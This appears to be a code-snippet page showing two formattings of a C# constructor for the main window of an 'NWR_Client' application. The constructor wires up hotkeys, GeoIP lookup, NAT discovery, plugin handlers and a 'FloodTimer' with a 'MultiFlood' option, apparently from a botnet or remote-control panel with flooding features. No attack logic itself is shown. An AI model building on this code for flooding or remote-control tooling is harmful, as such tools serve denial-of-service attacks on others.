Beispiel #1
0
        public Main(NWR_Client.Client client)
        {
            InitializeComponent();
            Clients = null;
            xClient = client;
            Functions.Center(this);
            conAddr = new List<string>();
            Icon = GlobalProperties.ApplicationIcon;
            GlobalProperties.MainForm = this;
            log = new Log(this);
            received = 0;
            sent = 0;
            peak = 0;
            total = Settings.GetTotal();
            lblTotal.Text = "Total: " + total.ToString();
            SelectionCount = 0;
            MultiFlood = false;
            geoIp = new GeoIP();
            User32.RegisterHotKey(Handle, 0, 0, (int)Keys.F1);
            User32.RegisterHotKey(Handle, 1, 0, (int)Keys.F2);
            User32.RegisterHotKey(Handle, 2, 0, (int)Keys.F3);
            User32.RegisterHotKey(Handle, 3, 0, (int)Keys.F4);
            User32.RegisterHotKey(Handle, 4, 0, (int)Keys.F5);
            User32.RegisterHotKey(Handle, 5, 0, (int)Keys.F6);

            xClient.DataReceived += new EventHandler<NWR_Client.DataReceivedEventArgs>(xClient_DataReceived);
            xClient.Disconnected += new EventHandler(xClient_Disconnected);

            GlobalProperties.Client = xClient;
            PluginHelper.PluginChanged += new EventHandler(PluginHelper_PluginChanged);
            FloodTimer.TimerStarted += new EventHandler(FloodTimer_TimerStarted);
            FloodTimer.TimerAborted += new EventHandler(FloodTimer_TimerAborted);
            FloodTimer.TimerChanged += new FloodTimer.FloodTimerChangedEventHandler(FloodTimer_TimerChanged);
            FloodTimer.TimerFinished += new EventHandler(FloodTimer_TimerFinished);
            Load += new EventHandler(Main_Load);
            NatUtility.StartDiscovery();

            NatUtility.DeviceFound += (S, E) =>
                {
                    GlobalProperties.NatDevices.Add(E.Device);
                };
            NatUtility.DeviceLost += (S, E) =>
                {
                    GlobalProperties.NatDevices.Remove(E.Device);
                };

            GlobalProperties.NI = ni;
        }
Beispiel #2
0
        public Main(NWR_Client.Client client)
        {
            InitializeComponent();
            Clients = null;
            xClient = client;
            Functions.Center(this);
            conAddr = new List <string>();
            Icon    = GlobalProperties.ApplicationIcon;
            GlobalProperties.MainForm = this;
            log            = new Log(this);
            received       = 0;
            sent           = 0;
            peak           = 0;
            total          = Settings.GetTotal();
            lblTotal.Text  = "Total: " + total.ToString();
            SelectionCount = 0;
            MultiFlood     = false;
            geoIp          = new GeoIP();
            User32.RegisterHotKey(Handle, 0, 0, (int)Keys.F1);
            User32.RegisterHotKey(Handle, 1, 0, (int)Keys.F2);
            User32.RegisterHotKey(Handle, 2, 0, (int)Keys.F3);
            User32.RegisterHotKey(Handle, 3, 0, (int)Keys.F4);
            User32.RegisterHotKey(Handle, 4, 0, (int)Keys.F5);
            User32.RegisterHotKey(Handle, 5, 0, (int)Keys.F6);

            xClient.DataReceived += new EventHandler <NWR_Client.DataReceivedEventArgs>(xClient_DataReceived);
            xClient.Disconnected += new EventHandler(xClient_Disconnected);

            GlobalProperties.Client     = xClient;
            PluginHelper.PluginChanged += new EventHandler(PluginHelper_PluginChanged);
            FloodTimer.TimerStarted    += new EventHandler(FloodTimer_TimerStarted);
            FloodTimer.TimerAborted    += new EventHandler(FloodTimer_TimerAborted);
            FloodTimer.TimerChanged    += new FloodTimer.FloodTimerChangedEventHandler(FloodTimer_TimerChanged);
            FloodTimer.TimerFinished   += new EventHandler(FloodTimer_TimerFinished);
            Load += new EventHandler(Main_Load);
            NatUtility.StartDiscovery();

            NatUtility.DeviceFound += (S, E) =>
            {
                GlobalProperties.NatDevices.Add(E.Device);
            };
            NatUtility.DeviceLost += (S, E) =>
            {
                GlobalProperties.NatDevices.Remove(E.Device);
            };

            GlobalProperties.NI = ni;
        }